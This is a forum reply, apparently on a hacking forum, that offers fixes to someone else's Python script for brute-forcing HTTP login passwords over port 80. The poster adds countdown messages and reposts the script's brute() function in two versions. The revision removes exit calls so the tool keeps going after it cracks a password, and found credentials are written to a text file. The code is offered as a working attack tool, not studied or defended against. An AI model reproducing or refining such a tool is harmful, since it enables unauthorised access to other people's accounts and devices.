Don't know if anyone else noticed, but it skips 'u' and 'v' so open it w/ IDLE and add 'u' 'v' to the list of letters. For those of you wondering. .
EDIT:
I also added
Code:
sleep(1)
print("[+]Brute Will Start In 2'' Have Fun")
sleep(1)
print("[+]Brute Will Start In 1'' Have Fun")
sleep(1)
to the .py so when it runs it looks a bit smoother, but that was for my own personal enjoyment, hope you don't mind :P
EDIT 2: Ok I found why it closes on you
Code:
def brute(ip_p,sock,err_base,pack,pwd):
timeout = 5
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print ('[-]Trying User :' + user + ' With Password :'+pwd)
try:
sock.connect((ip_p,int(80)))
except:
print('[+]Error Cant Connect')
exit(1)
try:
sock.send(pack)
except:
print('[+]Error Cant Send')
exit(1)
try:
buff1 = sock.recv(600)
except(socket.timeout):
None
sock.settimeout(1)
if err_base in buff1:
print '[*]Password Found !'
print '__*-> '+pwd+' <-*__'
string = 'Password for ' + user + ' is ' + pwd + ' In Realm ' + id
file = open('password.txt','w')
file.write(string)
file.close()
exit(1)
else:
try:
buff2 = sock.recv(1024)
if err_base in buff2:
print '[*]Password Found !'
print '__*-> '+pwd+' <-*__'
file = open('password.txt','w')
string = 'Password for ' + user + ' is ' + pwd + ' In Realm ' + id
file.write(string)
file.close()
exit(1)
Will close it out on you when it finds a password. Now if you meant to leave it like this then let me know and I'll remove my next code wrap. Edit your to look like this
Code:
def brute(ip_p,sock,err_base,pack,pwd):
timeout = 1
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print ('[-]Trying User :' + user + ' With Password :'+pwd)
try:
sock.connect((ip_p,int(80)))
except:
print('[+]Error Cant Connect')
exit(1)
try:
sock.send(pack)
except:
print('[+]Error Cant Send')
exit(1)
try:
buff1 = sock.recv(600)
except(socket.timeout):
None
sock.settimeout(1)
if err_base in buff1:
print '[*]Password Found !'
print '__*-> '+pwd+' <-*__'
string = 'Password for ' + user + ' is ' + pwd + ' In Realm ' + id
file = open('password.txt','w')
file.write(string)
else:
try:
buff2 = sock.recv(1024)
if err_base in buff2:
print '[*]Password Found !'
print '__*-> '+pwd+' <-*__'
file = open('password.txt','w')
string = 'Password for ' + user + ' is ' + pwd + ' In Realm ' + id
file.write(string)
And it won't close out on you next time.